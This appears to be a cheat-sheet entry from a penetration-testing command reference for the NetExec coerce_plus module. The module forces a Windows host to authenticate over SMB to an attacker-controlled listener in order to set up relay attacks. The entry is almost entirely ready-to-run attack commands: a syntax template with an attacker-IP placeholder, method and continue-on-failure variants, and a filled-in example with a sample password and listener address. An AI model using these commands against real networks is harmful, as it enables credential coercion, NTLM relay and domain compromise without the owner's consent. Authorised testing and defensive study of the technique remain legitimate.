NetExec coerce_plus Module
Unified coercion module — replaces the individual petitpotam/printerbug/dfscoerce/shadowcoerce/mserven modules. Tries every known coercion method (or one selected via METHOD) and triggers SMB authentication back to your listener. The recommended entry point in NetExec v1.4+ for any coerce-then-relay chain.

Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
nxc smb <target> -u '<user>' -p '<password>' -M coerce_plus -o LISTENER=<attacker-ip>
Credential variants
The same attack using a different authentication material.
Specific Method requires password
nxc smb <target> -u '<user>' -p '<password>' -M coerce_plus -o LISTENER=<attacker-ip> METHOD=dfscoerce
Continue On Failure requires password
nxc smb <target> -u '<user>' -p '<password>' -M coerce_plus -o LISTENER=<attacker-ip> ALWAYS_CONTINUE=true
Examples
nxc smb 10.10.10.20 -u jdoe -p 'Password123!' -M coerce_plus -o LISTENER=10.10.14.5
